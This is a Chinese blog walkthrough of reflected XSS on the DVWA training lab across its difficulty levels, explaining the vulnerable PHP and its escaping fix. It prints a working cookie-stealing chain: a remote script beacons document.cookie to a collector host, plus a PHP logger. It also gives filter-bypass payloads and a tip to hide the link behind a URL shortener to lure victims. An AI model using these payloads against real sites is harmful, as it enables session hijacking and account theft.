DVWA靶场 – xss 反射型

blog 32 0
DVWA靶场 - xss 反射型

xss的简介

xss全称为Cross-site scripting,为了与前端的Cascading Style Sheets(css) 有所区别,故取名为xss。

它是一种跨站脚本攻击,攻击者可以利用这种漏洞在网页上注入恶意的代码。当被攻击者访问的时候,就会触发这些恶意代码。从而可以盗取受害者的cookie、xss钓鱼、获取用户的信息等等。

xss一般分为三类:

  • 反射性xss(不持续性的)
  • 存储性xss(存储在数据库中,常见于留言板等地方)
  • DOM性(document object model文档对象模型) 客户端处理逻辑导致的安全问题

xss攻击全部都在前端页面完成。

反射性xss

low级别

进入到靶场,发现有一个输入框,输入我们的名称之后,会将我们输入的内容输出到前端页面。

DVWA靶场 - xss 反射型

而当我们输入的是javascript代码呢?浏览器它是认识这个代码的,从而会进行解析。

尝试传入:

<script>alert("hello xss");</script>

<script>javascript代码的开始标签,javascript简称js

</script>为js代码的结束标签,而开始标签和结束标签中的内容,即为xss代码。

alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。也就是我们所说的弹窗。里面可以传入任意的数据类型或js语句。

我们常用它来判断是否存在xss漏洞。

DVWA靶场 - xss 反射型

那么此处就存在xss漏洞,但是我们这里是一个反射性xss,只能通过构造如上的url才能触发该xss。

比如我们这里复制上面的url,在一个新的浏览器中输入如上的url(确保dvwa靶场已登录,并且难度为low)。

是不是也可以弹窗呢?

DVWA靶场 - xss 反射型

但是这里的url过长,也过于明显,那么我们通过网上的短网址生成网站,将其转换为短网址,是不是就可以掩人耳目呢?

DVWA靶场 - xss 反射型

这里通过生成的短网址,我们进行访问,会自动跳转到我们原网址的页面,这样可以诱使被攻击者点击。

但是这只是一个弹窗,并没有什么实际性的危害鸭,其实js可以获取我们用户的某些信息,如cookie,user-agent等。

document.cookie可以获取到用户请求时的cookie,而cookie就相当于通行证,可以进行免密登录(但是有一些前提条件,比如生成cookie的用户不能关闭浏览器终止会话或注销登录)。

构造代码:

<script>alert(document.cookie)</script>
DVWA靶场 - xss 反射型

可以看到,此时就已经将用户的cookie值打印到了页面。有了cookie之后,我们就可以免密登录啦。

我们在一个未登陆过dvwa的浏览器中访问http://172.16.1.121/dvwa/login.php,是会跳转到登录界面的,为什么?由于我们这里并没有完成登录,故而会跳转到登录界面。

那么我们有了cookie之后,是不是就可以免密登录了,答案是可以的,我们将上面的弹窗内容赋值下来,使用hackerbar插件,或者cookie editor插件进行修改cookie

DVWA靶场 - xss 反射型

可以我们这里修改了cookie之后,再次访问index.php的时候,就不会跳转到登录页面了,但是建立cookie的被攻击者,如果注销或关闭浏览器(标签页),那么cookie一般都会立即被销毁。但是dvwa这里并没有立即销毁,需要一点时间,但是当被攻击者点击logout注销的时候,则会立即销毁cookie并退出登录。

但是这里还有一个问题,就是弹框是给被攻击者看到的,攻击者并不会看到弹窗的值。那么我们有没有其他方法可以将cookie写入到某个文件中呢?答案是有的

javascript是可以引入外部js文件的,引入方式如下:

<script src="http://xxx.xxx.xxx/index.js"></script>

然后我们编辑index.js文件,写入我们的js代码即可,内容如下:

var img = document.createElement("img");
img.src = "http://172.16.1.103/getcookie.php?cookie=" + document.cookie; 
document.body.appendChild(img);

document.createElement用于创建一个对象,这里创建img对象,使用使用img.src方法为其img标签指定srcdocumnet.cookie这里用户获取cookie

document.body.appendChild(img)img对象,加入到docuemnt.body中(body标签中)

最终img的src类似于:

http://172.16.1.103/getcookie.php?cookie=PHPSESSID=pc8j652bvc1e0g0gpma1bh30c1; security=low
DVWA靶场 - xss 反射型

但是访问的时候,由于图片的src并非是一个图片,所以这里有一个受损的标志,那么我们如何异常掉呢?

DVWA靶场 - xss 反射型

只需要为其设置宽高属性为0px即可,最终页面的效果:

DVWA靶场 - xss 反射型

可以看到,这里就为图片加上了宽高属性,细心的同学,可能会发现,我这里的cookie值为什么会为空呢?原因是由于我这个页面是静态页面,并没有cookie产生,故而为空白。

这里我们创建getcookie.php文件,并键入如下代码:

<?php
	$cookie = @$_GET['cookie'];  // 接收参数cookie对应的值
	$file = fopen('cookie.txt','a'); // 打开一个文件,a表示追加
	fwrite($file,$cookie . "\n");  // 在cookie.txt中写入$cookie的值
	fclose($file); // 关闭这个文件流。
?>

下面我们到靶场中进行测试:

键入如下内容,会引入index.js文件,而里面文件的内容为创建一个img标签,并且img标签的src为接收cookiegetcookie页面,使用js的document.cookie获取cookie值,然后传给getcookie.php页面。之后该页面对其进行保存

<script src="http://172.16.1.103/index.js"></script>
DVWA靶场 - xss 反射型

最终攻击者的后台也就建立了cookie.txt文件,并且内容为cookie值。

DVWA靶场 - xss 反射型

当然这里也可以将接受cookie对应的时间写入到文件中。使用date函数即可。

实验完毕,我们来看下这个页面的后端php源码是如何写的:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

这里使用array_key_exists函数在$_GET关联数组中(类似于Python的字典),是否存在对应的键name,存在即true,否则false,接着又判断了通过get接受的name值不为空,则会将name值输出到页面。因此我们在输入框中输入什么,就会在页面返回什么。

这里反射性xss产生的原因是由于,后端并没有对用户输入的值进行校验或者进行转义。从而导致恶意用户构造恶意的js代码,经过后端输出到页面,而浏览器是认识js代码的,故而将其解析。

加固方式我们先不讲,后面关卡中,我们在讲解。

medium级别

尝试在输入框中传入以下js代码

<script>alert(/xss/);</script>
DVWA靶场 - xss 反射型

发现这里把我们<script></script>剔除了,猜测可能是替换为空,于是使用双写,尝试绕过

构造POC(漏洞验证代码):

<scr<script>ipt>alert(/xss/);</script>
DVWA靶场 - xss 反射型

提交之后,右键检查发现,这里并没有剔除</script>标签,而是只剔除了<script>标签,那么我们重新优化poc:

<scr<script>ipt>alert(/xss/);</script>
DVWA靶场 - xss 反射型

成功执行,这里的双写绕过,是怎么回事呢,就是说后端将<script>替换为空,那么我们构造<scr<script>ipt>,将中间的<script>替换为空之后,那么它前后的字符,是不是又组合成一个<script>呢?<scr<script>ipt>

当然对于这种替换,我们也可以尝试使用大小写绕过,由于后端可能并没有将我们传入的进行大小写转换,而后端写的匹配,可能是针对于<script>,并不针对于<SCRIPT> 或者 <ScRiPt>这种大小写混合的形式。而浏览器是认识这种写法的。

再次构造poc(漏洞验证代码):

<ScRiPT>alert(/xss/);</ScriPT>
DVWA靶场 - xss 反射型

也是可以弹窗的,但是除了使用<script>标签包裹以外还有其他方式执行js代码吗?答案是有的。

img标签

当img图片加载错误的时候,执行onerror属性对应的内容:

<img src=# onerror=alert(/xss/) />
DVWA靶场 - xss 反射型
body标签

在前端开发规范中,body标签是只允许有一对的,但是毕竟是规范,又不是强制执行的。因此一个页面也可以有多个body标签,而body标签有个属性为onloadonpageshow属性,分别表示当加载网页时执行js代码和当浏览网页时执行js代码。

<body onload=alert(/xss/)></body>
DVWA靶场 - xss 反射型
<body onpageshow=alert(/xss/)></body>
DVWA靶场 - xss 反射型

style标签

尽管style标签是用于嵌入css样式的,但是也可以使用onload属性

<style onload=alert("xss")></style>

marquee标签

marquee标签是HTML创建滚动内容的标签,类似于LED滚动屏的效果,除了支持滚动内容之外,它还支持一系列的事件处理程序,因此可以用它来实现XSS Payload触发。Marquee支持的一系列事件处理程序如下:

onbounce事件:是在<marquee>标签中的内容滚动到上下或左右边界时触发的事件处理程序,该事件只有在<marquee>标签的behavior属性设为alternate时才有效;

onstart事件: 当 marquee 标签内容开始滚动时触发。

<marquee behavior="alternate" onbounce=alert(1)></marquee>  <!-- 触发需要一定时间 -->
 
<marquee onstart=alert('xss') behavior=slide></marquee>

其中以上可能对WebKit(chrome)内核的浏览器的不起作用,Firefox浏览器是可以的。

media标签

oncanplay: 在用户可以开始播放音视频(audio/video)时触发;

ondurationchange: 在音视频(audio/video)的时长发生变化时触发;

onended: 在音视频(audio/video)播放结束时触发;

onloadeddata: 在音视频数据帧加载时触发,也即在当前帧的数据加载完成且还没有足够的数据播放音视频(audio/video)的下一帧时触发;

onloadedmetadata: 在指定音视频(audio/video)的元数据(如分辨率和时长)加载后触发;

onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;

onprogress: 浏览器下载指定的音视频(audio/video)时触发;

onsuspend: 在浏览器读取音视频(audio/video)数据中止时触发。

利用音频执行js代码的可能很少见,也很少被列入到黑名单中,故而列出。

<audio src="https://love.x1ong.fun/love.mp3" oncanplay=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" ondurationchange=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" onended=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" onloadeddata=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" onloadedmetadata=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" onloadstart=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" onprogress=alert(/xss/)></audio>

<audio src="https://love.x1ong.fun/love.mp3" onsuspend=alert(/xss/)></audio>

a标签

a标签也就是我们常说的超链接,这个需要点击点击,才可以触发javascript代码的执行。

<a href="javascript:alert(/xss/)">Click Download xx.exe</a>
DVWA靶场 - xss 反射型

那么接下来,我们就来看xss漏洞是如何产生的,查看页面的源代码:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

这里虽然对传入的参数进行了过滤,但是只是将其替换为空,并且替换的只是<script>,并没有完全的解决根本的问题,故而xss漏洞产生。

high级别

尝试传入以下POC:

<script>alert(/xss/);</script>
DVWA靶场 - xss 反射型

发现被过滤<script>和其中的内容,经过测试,大小写绕过不行,那么我们这里尝试使用img标签。

<img src="#" onerror="alert(/xss/)"" width=0 height=0 />
DVWA靶场 - xss 反射型

发现是可以执行的,那么这里为什么没有过滤alert(/xss/)呢,很有可能是因为后端过滤的是<script></script>以及他们之间的内容。

那么我们这里直接查看后端的代码:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

这里使用perg_replace()进行了一个正则的搜索和替换,将其替换为空,而<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)则表示要匹配的内容,其中.表示匹配任意字符,而*则表示匹配0个或多个字符,使用括号将其括起来就为(.*),表示匹配任意长度的任意字符,括号表示分组提取(将括号内的多个匹配表达式连贯起来),

DVWA靶场 - xss 反射型

可以看到,只要是按着<script>的顺序同时出现,不管隔了多长其他字符,最终都会被匹配到,因此将我们的alert(/xss/)也被匹配到了,但是没有匹配到最后的>,到t之后就结束了,所以页面会出现一个>

DVWA靶场 - xss 反射型
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/后面的i表示不区分大小写的匹配。

impossible级别

直接看源码,源代码如下:

DVWA靶场 - xss 反射型

这里主要使用了自定义的checkToken函数检查了用户的token值,同时也使用了htmlspecialchars内置函数对一些特殊字符进行了HTML实体编码转义。

下面是特殊字符经过htmlspecialchars函数转义之后再经过浏览器解析的步骤:

DVWA靶场 - xss 反射型

假设>,一旦被转义为&gt,那么再经过浏览器解析之后仍然为>,但是它只是一个普通的>,就不会再是浏览器认识的语法了。因此该函数在该场景接收input框中的内容时,就可以很好的解决xss漏洞。

但是如果是如下环境中,可以被绕过:

DVWA靶场 - xss 反射型

构造POC:

1' onmouseover='alert(/xss/)
DVWA靶场 - xss 反射型

当我们鼠标移动到input框时,即可触发。

DVWA靶场 - xss 反射型

那么说完核心函数htmlspecialchars之后,我们再来看看自定义函数checkToken是如何封装的:

DVWA靶场 - xss 反射型

可以看到,这个函数的逻辑很简单,只要$user_token的值不等于$session_token的值或者并没有初始化$session_token,则输出CSRF token is incorrect。并重定向到$returnURL变量指定的页面。

而这里的$user_token从何而来以及$session_token如何被创建的呢?

DVWA靶场 - xss 反射型

这里有一个toeknField函数,并且返回内容为一个输入框,其中的值就是$_SESSION['session_token']而这个函数并应用在哪里呢?

DVWA靶场 - xss 反射型

它被应用在我们提交表单哪里,只不过这个框是hidden的,因此我们看不到,但是提交的时候,会将其与我们输入的内容一并提交给服务器。这就是$user_token的产生。我们可以得出结论,正常情况下,$user_token的值是与$session_token的值完全一致的。不一致就被判定为是CSRF攻击。

那么$session_token是什么时候创建的呢?

在登录dvwa的时候,即创建了session_token

DVWA靶场 - xss 反射型

如果$session_token已经被创建了,则使用destroySessionToken()函数将其销毁。

DVWA靶场 - xss 反射型

但是我们在提交数据的时候也会创建$session_token,但是一旦有了$session_token之后,再去创建的话,会先执行destroySessionToken()函数将其销毁之后再创建。因此,我们每次刷新页面的时候,session_token都是不一样的。

DVWA靶场 - xss 反射型
DVWA靶场 - xss 反射型

可以看到,这里刷新之后,就发生了改变。

发表评论 取消回复
表情 图片 链接 代码

分享